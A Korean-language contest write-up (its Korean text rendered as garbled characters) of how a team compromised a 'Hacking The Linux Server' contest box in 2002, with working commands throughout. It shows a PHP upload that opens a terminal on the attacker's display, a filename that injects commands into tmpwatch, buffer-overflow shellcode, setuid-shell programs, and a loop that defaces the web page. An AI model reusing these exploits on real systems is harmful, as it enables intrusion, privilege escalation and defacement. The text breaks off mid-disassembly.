::: ´ÙÀ½Àº À̹ø Á¦ 1ȸ Hacking The Linux Contest¿¡¼­ 2À§¸¦ Â÷ÁöÇÑ Realskulls ÆÀÀÇ °ø°Ý º¸°í¼­ÀÔ´Ï´Ù. :::

Á¦1ȸ "Hacking The Linux Server" ÄÁÅ×½ºÆ® °ø°Ýº¸°í¼­

 

     ÀÛ¼ºÀÚ : Real Skulls Team

     °íÀ¯¹øÈ£ : #H4SC30212

     

     * ¸®¸ðÆ® ¾îÅÃ

 

< 1¹ø¹®Á¦. >

 

ÈùÆ®¸¦ º¸´Ï ±¸Å¸´Â ¸ÞÀÎÆäÀÌÁö¿¡ °Ô½ÃÆÇ ¹Ì¸®º¸±â ±â´ÉÀ» ³Ö¾ú´Âµ¥ Æò¼Ò¿¡

À¥ÆäÀÌÁö¸¦ ¸¸µé¶§´Â ³ª¸ðÀ¥¿¡µðÅ͸¦ »ç¿ëÇÏ°í ¼­¹ö¿¡ ¿Ã¸±¶§ ws_ftp ¸¦

¾´´Ù°í ÇÑ´Ù. ³ª¸ðÀ¥¿¡µðÅÍ´Â °¢ À¥ÆäÀÌÁö¸¦ ¸¸µé¶§ ¸¶´Ù ¹é¾÷ÆÄÀÏ(.bak)À»

»ý¼ºÇÏ°í, ws_ftp´Â ÆÄÀÏÀü¼ÛÀ» ¸¶Ä¡¸é ¾÷·Îµå ±â·ÏÀ» ·Î±×ÆÄÀÏ·Î ³²±ä´Ù. (WS_FTP.LOG).

 

http://211.215.55.247/WS_FTP.LOG ÆÄÀÏÀ» ¿­¾îº¸´Ï ´Ù Á¤»óÀûÀε¥ ¸¶Áö¸·ÁÙ¸¸ ¼ö»óÇÏ´Ù.

´Ù¸¥ ÆÄÀϵéÀÇ È®ÀåÀÚ´Â .bak Àε¥ ¸¶Áö¸·ÁÙÀÇ preload.htmÀÇ ¹é¾÷ÆÄÀÏÀÇ È®ÀåÀÚ´Â .backup ÀÌ´Ù.

¼ö»óÇÏ¿© ¿­¾îº¸´Ï

 

 

<?

$dbconn = mysql_connect("localhost", "guest", "welcome") || die("µ¥ÀÌÅͺ£À̽º ¿¬°á¿¡ ½ÇÆÐÇÏ¿´½À´Ï´Ù.");

$status = mysql_select_db("zboard");

if (!$status) {

exit;

}

?>

 

 

¿À.. ¸ÞÀÎÆäÀÌÁö¿¡¼­ °Ô½ÃÆÇ ¹Ì¸®º¸±â ±â´ÉÀ» ¾²±âÀ§ÇÑ db¾ÆÀ̵ð¿Í

Æнº¿öµå°¡ º¸ÀδÙ.(ID: guest, PW: welcome)

°á±¹ ÀÌ ¾ÆÀ̵ð¿Í Æнº¿öµå·Î ÅÚ³ÝÁ¢¼ÓÇÏ¿© guest °èÁ¤ ±ÇÇÑÀ» µþ¼öÀÖ¾ú´Ù.

 

< 2¹ø¹®Á¦. >

 

ÈùÆ®¿¡¼­´Â php ½ºÅ©¸³Æ® ÆÄÀϼ³Á¤ ºÎºÐÀ» Àß º¸¶ó°í ÇÑ´Ù.

httpd.confÆÄÀÏÀ» »ìÆ캸¸é ´ÙÀ½°ú °°Àº ºÎºÐÀ» º¼¼öÀÖ´Ù.

 

 

AddType application/x-httpd-php .php .html .htm .php3 .inc .ph .phtml

 

 

 

ÀÌ ºÎºÐÀÇ ³»¿ëÀº .php .html .html .php3 .inc .ph .phtml ¸¦ È®ÀåÀÚ·Î °®´Â

ÆÄÀÏÀº ¸ðµÎ phpÆÄÀÏ·Î ÀνÄÇÑ´Ù´Â ÀǹÌÀÌ´Ù.

 

°Ô½ÃÆÇ¿¡ ÆÄÀϾ÷·Îµå¸¦ Çغ¸´Ï±î .ph ÆÄÀÏÀº ÇÊÅ͸µ µÇÁö ¾Ê¾Ò´Ù. ±×·¡¼­,

ph ÆÄÀÏ¿¡ ¸®¸ðÆ®·Î ÇÑÅÒÀ» ½ÇÇà½ÃÅ°´Â phpÄڵ带 ³Ö¾î¼­ ½ÇÇàÇÏ¿´´Ù.

 

 

<?

$ip = $REMOTE_ADDR;

system("/usr/X11R6/bin/hanterm -display $ip:0.0");

?>

 

 

 

ÀÌ ³»¿ëÀ» ph ÆÄÀÏ¿¡ ³Ö¾î ½ÇÇàÇϴϱî nobody±ÇÇÑÀÇ ÇÑÅÒÀÌ ¶¸´Ù.

 

bash-2.05a$ id

uid=99(nobody) gid=99(nobody) groups=99(nobody)

 

 

< 3¹ø¹®Á¦. >

 

Æ÷Æ®½ºÄ³´× ÇÏ¿© 8888¹øÆ÷Æ®°¡ ¿­·ÁÀÖ¾î Á¢¼ÓÇÏ¿´´õ´Ï,

 

Trying 211.215.55.247...

Connected to 211.215.55.247.

Escape character is '^]'.

Á¢¼Ó ¿Ï·á!! ¼û°ÜÁø ¹®ÀÚ¿­À» ã¾Æ¶ó!!

Connection closed by foreign host.

 

ÀÌ·± ¸Þ¼¼Áö°¡ ¶¸´Ù.

8888¹ø Æ÷Æ®¶ó°í Çϴϱî Ȥ½Ã À¥ºê¶ó¿ìÀú·Î Á¢¼ÓÇÏ¸é µÇÁö ¾Ê³ª?

http://211.215.55.247:8888/ ·Î Á¢¼ÓÇÏ¿´´Ù.

 

ID : guest, PW : welcome                          Á¢¼Ó ¿Ï·á!! ¼û°ÜÁø ¹®ÀÚ¿­À» ã¾Æ¶ó!!

 

À§¿Í °°ÀÌ ³ª¿Í ¾ÆÀ̵ð¿Í Æнº¿öµå¸¦ ȹµæÇÒ¼öÀÖ¾ú´Ù.

 

 

* ·ÎÄþîÅÃ

 

1¹ø¹®Á¦ : guest -> walwal

 

Guest ´Ü°è¿¡¼­ walwal ´Ü°è·Î ³Ñ¾î°¡±â.

óÀ½ guestÀÇ ±ÇÇÑÀ¸·Î ·ÎÄÃÈ£½ºÆ®¿¡ Á¢¼ÓÇß´Ù. ±×ÈÄ walwal°èÁ¤ ¼ÒÀ¯ÀÇ ÆÄÀÏÀ»

ã±âÀ§ÇØ find¸í·É¾î¸¦ »ç¿ëÇÏ¿´´Ù.

 

 

sh-2.05a$ find / -user walwal -perm -4000 2>/dev/null

/bin/SolveMe/walwal

sh-2.05a$ ls -l /bin/SolveMe/

total 20

-rw-r----- 1 root walwal 143 Aug 16 08:38 HackTheNose.txt

-rwsr-sr-x 1 walwal walwal 14122 Aug 16 08:38 walwal

 

 

 

°á°ú¸¦ º¸¸é HackTheNose.txt ÆÄÀÏ°ú walwal°èÁ¤ÀÇ ¿­¼è¸¦ Áö°í ÀÖ´Â walwalÆÄÀÏÀÌ

º¸ÀδÙ.

 

WalwalÀÇ ½ÇÇà°á°ú´Â ´ÙÀ½°ú °°¾Ò´Ù.

 

sh-2.05a$ /bin/SolveMe/walwal

±¸Å¸ : ¾Æ¾¾~ ÀÌ°Ô ¹¹¾ß ¾î¶»°Ô Ç϶ó´Â°Å¾ß!

¸Û¸Û : »ý°¢º¸´Ù ½¬¿ï²¬?

±¸Å¸ : ¹¹¾ß¹¹¾ß ÀÌ°Å Èü¿À¹öÇ÷οì¾ß? ³ª ±×°Å ¸øÇØ!

¸Û¸Û : ¸Ó¸® µ×´Ù ¹¹ÇÏ´Ï~

 

ÀÌ walwal ÀÌ À̹ø ¹®Á¦°¡ ½±´Ù´Â°ÍÀ» °£Á¢Àû(?) À¸·Î ¾Ë·ÁÁصíÇÏ´Ù. -_-;

¾Æ¸¶µµ /bin/SolveMe/walwalÀ» ½ÇÇàÇϸé Àú HackTheNose.txt¸¦ ÀоîµéÀ̴°Š°°´Ù.

walwalÇÁ·Î±×·¥À» ½ÇÇàÇϽÃÅ°´Â µ¿¾ÈÀº ÀÚ½ÅÀÇ gid °¡ walwalÀÇ gid·Î µÇ¾î

walwalÇÁ·Î±×·¥ÀÌ HackTheNose.txt¸¦ ÀÐÀ»¼ö ÀÖ¾ú´ø °ÍÀÌ´Ù.

±×·³ gid°¡ walwal·Î µÈ ÆÄÀÏÀº walwalÀ̶õ ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¸é ¸ðµÎ ÀÐÀ» ¼ö ÀÖÀ» µíÇÏ´Ù.

 

ÀÌÁ¨ walwal±×·ì ±ÇÇÑÀÇ ÆÄÀÏÀ» ã¾Æº¸¾Ò´Ù.

 

 

sh-2.05a$ find / -group walwal 2>/dev/null

/var/spool/mail/BOGUS.walwal.5tn

/etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

/bin/SolveMe/HackTheNose.txt

/bin/SolveMe/walwal

/home/walwal

/home/guest/index.html

 

sh-2.05a$ ls -l /etc/sysconfig/network-scripts/.hidden/

total 4

-rw-r----- 2 root walwal 7 Aug 17 12:17 WALWALPASSWD.TXT

 

 

 

À½.. ¾Æ¹«·¡µµ ³Ê¹« ¼ö»óÇغ¸ÀÌ´Â ÆÄÀÏÀÌ ÀÖ´Ù. WALWALPASSWD.TXT ÆÄÀÏÀÌ´Ù.

walwal°èÁ¤ÀÇ Æнº¿öµå¸¦ ´ã°íÀÖ´Â µíÇÏ´Ù. ÀÌ ÆÄÀÏ ¿ª½Ã walwal±×·ì¿¡ Àбâ±ÇÇÑÀÌ ÀÖ´Ù.

¿ì¸®´Â walwal ÇÁ·Î±×·¥À» ÀÌ¿ëÇϸé walwal±×·ìÀ¸·Î µÈ ÆÄÀÏÀ» ÀÐÀ» ¼ö ÀÖ´Ù´Â °É ¾Ë°í ÀÖ´Ù.

¿ì¸®´Â HackTheNose.txt ´ë½Å WALWALPASS.txt ¸¦ walwalÇÁ·Î±×·¥ÀÌ ÀÐ°Ô ¸¸µé¸é Æнº¿öµå°¡ ³ª¿Â´Ù.

 

±×·¸´Ù¸é ¾î¶²¹æ¹ýÀ¸·Î Àú Æнº¿öµå¸¦ º¼¼ö ÀÖÀ»±î... ¸µÅ©¸¦ ÀÌ¿ëÇÏ¿´´Ù.

 

 

sh-2.05a$ ln -s /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT HackTheNose.txt

sh-2.05a$ ls -al

total 1

lrwxrwxrwx 1 guest guest 55 Aug 20 01:24 HackTheNose.txt

-> /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

 

 

 

¸µÅ©¸¦ °É¾ú´Ù. ½ÇÇàÇØ º¸¾Ò´Ù.

 

sh-2.05a$ /bin/SolveMe/walwal

¸¶Â¡°¡

 

WALWALPASSWD.TXT ÆÄÀÏÀÌ ÀÐÇôÁ®¼­ walwalÀÇ Æнº¿öµå°¡ Ãâ·ÂµÇ¾ú´Ù~ :)

 

ID: walwal

PW: akwldrk (¸¶Â¡°¡)

 

2¹ø¹®Á¦ : walwal -> guta

 

 

-- Hint --

¾î´À³¯ ±¸Å¸´Â ÀÚ²Ù °èÁ¤À» ¸¸µé¾î ´Þ¶ó°í Á¶¸£´Â ¿Ð¿ÐÀÌ¿¡°Ô

walwalÀ̶ó´Â °èÁ¤À» ¸¸µé¾î ÁÖ¾ú´Ù. ±×·±µ¥ ¸îÀÏÀÌ Áö³­ ÈÄ

±¸Å¸´Â ¼­¹öÀÇ ÇÏµå ¿ë·®ÀÌ ²Ë Â÷ ÀÖ´Â °ÍÀ» ¹ß°ßÇÏ¿´´Ù.

¼­¹ö¸¦ Á¶»çÇØ º» ±¸Å¸´Â À̳ðÀÇ ¿Ð¿ÐÀÌ°¡ /home/walwal/movie/

µð·ºÅ丮¿¡ ¿ä¼§ÇÑ µ¿¿µ»óµéÀ» ¿Õ⠿÷Á ³õÀº »ç½ÇÀ»

¾Ë°ÔµÇ¾ú´Ù. ±¸Å¸´Â Áï½Ã ¸ðµç ÆÄÀϵéÀ» »èÁ¦ ÇßÁö¸¸, ¹ßÁ¤³­

¿Ð¿ÐÀÌ´Â ¾î´À»õ ¶Ç ´Ù½Ã µ¿¿µ»óµéÀ» ¸ð¾Æ ¿Ã·Á³õ°ï ÇÏ¿´´Ù.

 

¸î¹øÀÇ ¹Ýº¹ ³¡¿¡ Â¥ÁõÀÌ ³­ ±¸Å¸´Â tmpwatch¶ó´Â ÇÁ·Î±×·¥À»

ÀÌ¿ëÇϸé ƯÁ¤ µð·ºÅ丮ÀÇ ÆÄÀÏÀ» ÀÚµ¿À¸·Î Á¤¸®ÇÒ ¼ö ÀÖ´Ù´Â

Á¤º¸¸¦ ÀÔ¼ö. °Ë»ö ¿£ÁøÀ» ÅëÇØ tmpwatch ÇÁ·Î±×·¥À» ¹Þ¾Æ ¼³Ä¡ÇÏ¿´´Ù.

±×¸®°í tmpwatch°¡ ÀÚµ¿À¸·Î ÀÛµ¿ÇÏ°Ô Çϱâ À§ÇÏ¿© crontab¿¡

´ÙÀ½°ú °°ÀÌ µî·ÏÀ» ÇÏ¿´´Ù.

 

PATH=/usr/bin:/bin:/tmp

* * * * * /usr/sbin/tmpwatch -m --fuser -f 1 /home/walwal/movie/

 

ÀÌÁ¦ ¿Ð¿ÐÀÌ¿ÍÀÇ ½Å°æÀü¿¡¼­ÀÇ ½Â¸®¸¦ È®½ÇÇÑ ±¸Å¸´Â tmpwatch´Â

Âü °í¸¶¿î ÇÁ·Î±×·¥ÀÌ´Ù ¶ó°í »ý°¢Çϸç ÆíÇÏ°Ô ÀáÀÌ µé¾ú´Ù.

 

----------

 

 

 

[walwal@localhost walwal]$ rpm -qa | grep tmpwatch

tmpwatch-2.5.1-3

[walwal@localhost walwal]$

 

 

google.co.kr ¿¡¼­ °Ë»öÀ» Çغ¸´Ï ´ÙÀ½°ú °°Àº ¹®¼­¸¦ ã¾Ò´Ù.

 

http://ciac.llnl.gov/ciac/bulletins/l-005.shtml

 

´ë°­ ³»¿ëÀ» Àо´Ï tmpwatch ³»ºÎ ¿É¼ÇÁß --fuser ¿É¼ÇÀº

½Ã½ºÅÛ³»ÀÇ /sbin/fuser ¸í·ÉÀ» »ç¿ë system() ¸¦ »ç¿ëÇÏ´Â °ÍÀ¸·Î ³ª¿Ô´Ù.

Á» ´õ È®½ÇÈ÷ º¸±â À§ÇØ tmpwatch ÀÇ ¼Ò½º¸¦ ¹Þ¾Æ º¸¾Ò´Ù.

±×¸®°í 103~107 ÁÙ¿¡¼­ ¹®Á¦ÀÇ ·çƾÀ» ã°Ô µÆ´Ù.

 

 

103 int ret;

104 char cmd[255];

105 snprintf(cmd, 255, "/sbin/fuser -s \"%s/%s\" > /dev/null 2>&1",

106 dirname, filename);

107 ret = system(cmd);

 

 

ÀÌ°ÍÀ» °¡Áö°í »ðÁúÀ» Çϸ鼭 ½Ã°£À» ¸¹ÀÌ º¸³»°Ô µÆ´Âµ¥,

óÀ½¿¡´Â ¹«ÀÛÁ¤ ; ¸¦ »ç¿ëÇÑ ÆÄÀϸíÀ» ¸¸µé°Ô µÇ¾ú°í,

±×·¯´Ù º¸´Ï hackerschool level 3 ÀÇ autodig °ú Èí»çÇϴٴ°ÍÀ» ¾Ë°í

" " ¸¦ »ç¿ëÇß´Ù.

±×·¸°Ô Çѽð£À» »ðÁúÇÑ ³¡¿¡ ³»°¡ ¿øÇÏ´ø °á°ú¸¦ walwal ÀÇ ¸ÞÀÏ·Î ¹Þ¾Æ º¼¼ö ÀÖ¾ú°í

fuser -1 ÀÇ ¿É¼ÇÀ» ¾Ë¾Æº¸Áö ¸øÇÑ ¹«Áö·Î ÀÎÇØ 1½Ã°£ÀÇ ½Ã°£À» ÇãºñÇß¾ú´Ù.

±×¸®°í À̸¦ ÀÌ¿ë ´ÙÀ½°ú °°Àº ¼Ò½º¸¦ ÄÄÆÄÀÏ Çß´Ù.

 

 

[walwal@localhost movie]$ cat > rs.c

#include <unistd.h>

main()

{

setreuid(1001,1001);

setregid(1001,1001);

system("/bin/bash");

}

[walwal@localhost movie]$ cat > "\";cc -o rs rs.c; chmod 6755 rs\""

[walwal@localhost movie]$ date

Tue Aug 20 09:53:15 EDT 2002

[walwal@localhost movie]$ touch -d 07:53 "\";cc -o rs rs.c; chmod 6755 rs\""

[walwal@localhost movie]$ ls -al rs

ls: rs: No such file or directory

[walwal@localhost movie]$ ls -al rs

ls: rs: No such file or directory

[walwal@localhost movie]$

[walwal@localhost movie]$ ls -al rs

-rwsr-sr-x 1 guta guta 13744 Aug 20 09:54 rs*

[walwal@localhost movie]$ ./rs

[guta@localhost movie]$ id

uid=1001(guta) gid=1001(guta) groups=1000(walwal)

[guta@localhost movie]$ rm -rf rs

[guta@localhost movie]$ rm -rf rs.c

[guta@localhost movie]$ rm -rf "\";cc -o rs rs.c; chmod 6755 rs\""

 

ID: guta

PW: glwnrglwnr

 

 

3¹ø¹®Á¦ : guta -> mungmung

 

mungmungÀÇ ±ÇÇÑÀ¸·Î suid°¡ °É¸° ÆÄÀÏÀ» ã¾Æº¸¸é

-r-s--sr-x 1 mungmung mungmung 18124 Aug 16 18:37 student*

À» ãÀ» ¼ö Àִµ¥.. ÀÌ ÆÄÀÏÀ» ½ÇÇà½ÃÄѺ¸´Ï 1¹ø ¸Þ´º¿¡¼­ ÇлýµéÀÇ µ¥ÀÌŸ¸¦ ÀԷ¹޴µ¥..

±× ºÎºÐ¿¡¼­ stack overflow °¡ ÀϾ´Ù. °£´ÜÇÏ°Ô eggshellÀ» ½ÇÇà½ÃÅ°°í °ø°ÝÇÏ¸é µÉ °Í °°´Ù.

 

 

[guta@localhost tmp]$ cat sh.c

 

#include <unistd.h>

main()

{

 

setreuid(1002, 1002);

system("/bin/bash");

}

 

 

 

¿Í °°ÀÌ ÀÛ¼º ÇÑ ÈÄ ÄÄÆÄÀÏ ÇÏÀÚ. ±×ÈÄ ÀϹÝÀûÀÎ eggshellÀÇ

 

 

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/tmp/sh";

 

 

 

ÀÇ ¸¶Áö¸·À» ´ÙÀ½°ú °°ÀÌ º¯°æÇÑ ÈÄ gcc -o egg egg.c

 

[guta@localhost .w0rm9]$ ./egg

Using address: 0xbffffb58

 

eggshellÀ» ½ÇÇà½ÃÄ×´Ù. ÀÌÁ¦ student ÀÇ ret¸¦ 0xbffffb58·Î µ¤À¸¸é µÈ´Ù.

°ø°ÝÄڵ带 Â¥º¸ÀÚ.

 

(printf "1\n\x58\xfb\xff\xbf\x58\xfb\xff\xbf~À̺üÀÌ~\x58\xfb\xff\xbf\x58\xfb\xff\xbf";cat)|./student

 

°ø°ÝÄÚµåÀÇ Ã¹ 1\nÀº bof°¡ ÀϾ´Â °÷ÀÌ 1¹ø ¸Þ´º·Îµé¾î°¡¼­ ÇлýµéÀÇ

µ¥ÀÌŸ¸¦ ÀԷ¹޴ ºÎºÐ¿¡¼­ ÀϾ±â ¶§¹®ÀÌ´Ù.

 

id

uid=1002(mungmung) gid=1002(mungmung) groups=1001(guta)

 

ID : mungmung

PW : rownrdl

 

 

4¹ø¹®Á¦ : mungmung -> wizard

 

¸ÕÀú ¼Ò½º¸¦ ÈȾÀÚ.

 

 

#include <stdio.h>

#include <stdlib.h>

 

extern char **environ;

 

void hackerschool()

{

char buf[4];

printf("¿©±â¼­ ÀÔ·ÂÇؾßÇØ¿ä. : ");

fgets(buf, 13, stdin);

}

 

main(int argc, char *argv[])

{

int envpno;

 

if(argc>1) {

printf("Exit.\n");

return 0;

}

 

for(envpno=0; environ[envpno]; envpno++)

memset(environ[envpno], 0, strlen(environ[envpno]));

hackerschool();

 

}

 

 

¼Ò½º¸¦ º¸¸é ÀϹÝÀûÀ¸·Î ÇØ¿À´ø °ø°ÝÀ» ¸ðµÎ ¸·¾Æ ³õ¾Ò´Ù. ¤Ð_¤Ð

4¹ø°ú °°ÀÌ eggshellÀ» ½ÇÇà½ÃÄѼ­ °ø°ÝÇÒ·ÁÇصµ

 

for(envpno=0; environ[envpno]; envpno++)

memset(environ[envpno], 0, strlen(environ[envpno]));

 

ÀÌ ºÎºÐ¿¡¼­ ½ÇÇàµÈ eggshellÀ» ¸ðµÎ »èÁ¦ÇØ ¹ö¸°´Ù.

 

µ¥ÀÌŸ¸¦ ÀԷ¹޴ buf[4]¿¡ shellcode¸¦ ³Ö°í °ø°ÝÇÒ·Á°í Çϵµ ÀԷ¹ÞÀ» ¼ö ÀÖ´Â ¹öÆÛ¿¡

Å©±â°¡ Åõµ ¾øÀÌ ÀÛ´Ù. argv[1]·Î ³Ö¾îº¼·Á°í Çصµ

 

if(argc>1) {

printf("Exit.\n");

 

ÀÌ ºÎºÐ¿¡¼­ Exit.¸¦ Ãâ·ÂÇÑ´Ù. °õ°õÇØ »ý°¢Çغ¸ÀÚ. À̹ø¿£ ¿©Å²¯ ÇØ¿Ô´ø ¹æ¹ý°ú´Â ´Ù¸£°Ô ÇØ¾ß µÈ´Ù.

 

argv[0]¿¡ shellcode¸¦ ³Ö°í °ø°ÝÇØ º¸¸é ¾î¶³±î??

ÀÏ´Ü, shellcode¸¦ argv[0]¿¡ ³Ö±â À§ÇÑ Äڵ带 ÀÛ¼ºÇØ º¸ÀÚ.

 

 

#include <unistd.h>

main()

{

execl("./Use_Brain","\x31\xc0\x89\xc3\x89\xd9\xb0\x46\x66\xbb\xeb

\x03\x66\xb9\xeb\x03\xcd\x80\x31\xc0\x89\xc3\x89\xd9\xb0\x47\x6

6\xbb\xeb\x03\x66\xb9\xeb\x03\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x3

1\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56

\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", NULL);

}

 

 

 

¿Í °°ÀÌ ÀÛ¼ºÇؼ­ gcc -o rs rs.c ÄÄÆÄÀÏ ÇÏÀÚ.

ÀÌÁ¦ ÀÌ°É ½ÇÇà½ÃÅ°¸é ÆÄÀÏÀ̸§¿¡ shellcode°¡ µé¾î°£´Ù. ¸¸½¦ (/-_-)/~

ÀÌÁ¨ buf¸¦ over½ÃÄѼ­ ret¸¦ µ¤À¸¸é µÈ´Ù. ´ç¿¬ Use_Brain À¸·Î...

¸ÕÀú dumpcode.h¸¦ Ãß°¡ÇÑ ¼Ò½º¸¦ ÀÌ¿ëÇؼ­ &argv[0] ¸¦ ã¾Æº¸ÀÚ.

 

 

[mungmung@localhost bang]$ cat Use_Brain.c

#include <stdio.h>

#include <stdlib.h>

#include "dumpcode.h"

 

extern char **environ;

 

void hackerschool(char **argv)

{

char buf[4];

printf("¿©±â¼­ ÀÔ·ÂÇؾßÇØ¿ä. : ");

fgets(buf, 13, stdin);

dumpcode(argv[0], 300);

}

 

main(int argc, char *argv[])

{

int envpno;

 

if(argc>1) {

printf("Exit.\n");

return 0;

}

 

for(envpno=0; environ[envpno]; envpno++)

memset(environ[envpno], 0, strlen(environ[envpno]));

hackerschool(argv);

 

}

 

 

 

¿Í °°ÀÌ ÄÄÆÄÀÏ ÇÑ ÈÄ rsÆÄÀÏÀ» ½ÇÇà½ÃÅ°¸é..

 

 

[mungmung@localhost bang]$ ./rs

¿©±â¼­ ÀÔ·ÂÇؾßÇØ¿ä. :

0xbffffc44 31 c0 89 c3 89 d9 b0 46 66 bb eb 03 66 b9 eb 03 1......Ff...f...

0xbffffc54 cd 80 31 c0 89 c3 89 d9 b0 47 66 bb eb 03 66 b9 ..1......Gf...f.

0xbffffc64 eb 03 cd 80 eb 1f 5e 89 76 08 31 c0 88 46 07 89 ......^.v.1..F..

0xbffffc74 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db F......N..V...1.

0xbffffc84 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 ..@......./bin/s

0xbffffc94 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 h...............

0xbffffca4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcb4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcc4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcd4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffce4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcf4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd64 00 00 00 00 00 00 00 00 00 00 00 00 ............

[mungmung@localhost bang]$

 

 

 

´ÙÀ½°ú °°ÀÌ argv[0]ÀÇ ÁÖ¼Ò¸¦ ¾Ë ¼ö ÀÖ´Ù. ÀÌÁ¦ º»·¡ ÆÄÀÏÀÎ /home/mungmung/SolveMe/Use_Brain ¸¦

ÇöÀç µð·ºÅ丮·Î ¸µÅ© ÇÑ ÈÄ ´ýÇÁ¶°¼­ ¾Ë¾Æ³½ ÁÖ¼Ò¸¦ º¯È­¸¦ Áà°¡¸é¼­ °ø°ÝÇغ¸ÀÚ.

 

[mungmung@localhost bang]$ (printf "12345678\x45\xfc\xff\xbf";cat)|./expl

id

uid=1003(wizard) gid=1003(wizard) groups=1002(mungmung)

 

ÀÌ·± ¾ó¸¶ µÇÁö ¾Ê¾Æ wizard °¡ ¶° ¹ö·È´Ù ;-)

 

ID : wizard

PW : qufemfdmlwjswod(º°µéÀÇÀüÀï)

 

5. º°µéÀÇ ÀüÀï : index.html

 

 

RS_Team °ø°Ý script

----------------------------------------------------------------

while :; do

echo "

<html><head><title>RealSkulls Fighting!</title></head>

<center><br><br><br><br>

<a href=\"http://realskulls.org/\", target=\"_new\">

<img src="http://realskulls.org/img/index.gif" border=0></a>

<BR><BR><BR><B>

RealSkulls Team Fighting!!<br>

<BR>

<font color=red>

#H4SC30212<BR><BR></font>

Thx to gapado, mc, Toshi, INTRO, bang1575, Monkey, goodbe7, slugger, indra..<BR>

<BR>

-- by wayans --<BR>" > /server/Apache/htdocs/index.html

done

 

----------------------------------------------------------------

 

 

 

º¸³Ê½º ¹®Á¦ 1.

 

 

-- crypt --

 

bash-2.05a$ ln -sf /usr/sbin/crypt vuln

bash-2.05a$ gdb ./vuln

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disas main

Dump of assembler code for function main:

0x8048510 <main>:push %ebp

0x8048511 <main+1>:mov %esp,%ebp

0x8048513 <main+3>:push %edi

0x8048514 <main+4>:push %esi

0x8048515 <main+5>:sub $0x60,%esp

0x8048518 <main+8>:lea 0xffffffd8(%ebp),%edi

0x804851b <main+11>:mov $0x8048658,%esi

0x8048520 <main+16>:cld

0x8048521 <main+17>:mov $0x15,%ecx

0x8048526 <main+22>:repz movsb %ds:(%esi),%es:(%edi)

0x8048528 <main+24>:movb $0x0,0xffffffed(%ebp)

0x804852c <main+28>:lea 0xffffffb8(%ebp),%edi

0x804852f <main+31>:mov $0x804866d,%esi

0x8048534 <main+36>:cld

0x8048535 <main+37>:mov $0x15,%ecx

0x804853a <main+42>:repz movsb %ds:(%esi),%es:(%edi)

0x804853c <main+44>:movb $0x0,0xffffffcd(%ebp)

0x8048540 <main+48>:lea 0xffffffa8(%ebp),%edi

0x8048543 <main+51>:mov $0x8048682,%esi

0x8048548 <main+56>:cld

0x8048549 <main+57>:mov $0xd,%ecx

0x804854e <main+62>:repz movsb %ds:(%esi),%es:(%edi)

---Type <return> to continue, or q <return> to quit---

0x8048550 <main+64>:sub $0x8,%esp

0x8048553 <main+67>:push $0x80485d4

0x8048558 <main+72>:push $0x3

0x804855a <main+74>:call 0x8048394 <signal>

0x804855f <main+79>:add $0x10,%esp

0x8048562 <main+82>:sub $0x8,%esp

0x8048565 <main+85>:push $0x80485d4

0x804856a <main+90>:push $0x2

0x804856c <main+92>:call 0x8048394 <signal>

0x8048571 <main+97>:add $0x10,%esp

0x8048574 <main+100>:sub $0xc,%esp

0x8048577 <main+103>:push $0x804868f

0x804857c <main+108>:call 0x80483a4 <getpass>

0x8048581 <main+113>:add $0x10,%esp

0x8048584 <main+116>:mov %eax,0xffffffa4(%ebp)

0x8048587 <main+119>:sub $0x8,%esp

0x804858a <main+122>:pushl 0xffffffa4(%ebp)

0x804858d <main+125>:lea 0xffffffa8(%ebp),%eax

0x8048590 <main+128>:add $0x5,%eax

0x8048593 <main+131>:push %eax

0x8048594 <main+132>:call 0x8048384 <strcmp>

0x8048599 <main+137>:add $0x10,%esp

0x804859c <main+140>:mov %eax,%eax

---Type <return> to continue, or q <return> to quit---

0x804859e <main+142>:test %eax,%eax

0x80485a0 <main+144>:je 0x80485bc <main+172>

0x80485a2 <main+146>:sub $0xc,%esp

0x80485a5 <main+149>:push $0x804869a

0x80485aa <main+154>:call 0x80483e4 <printf>

0x80485af <main+159>:add $0x10,%esp

0x80485b2 <main+162>:sub $0xc,%esp

0x80485b5 <main+165>:push $0xffffffff

0x80485b7 <main+167>:call 0x80483f4 <exit>

0x80485bc <main+172>:sub $0xc,%esp

0x80485bf <main+175>:push $0x80486a8

0x80485c4 <main+180>:call 0x80483e4 <printf>

0x80485c9 <main+185>:add $0x10,%esp

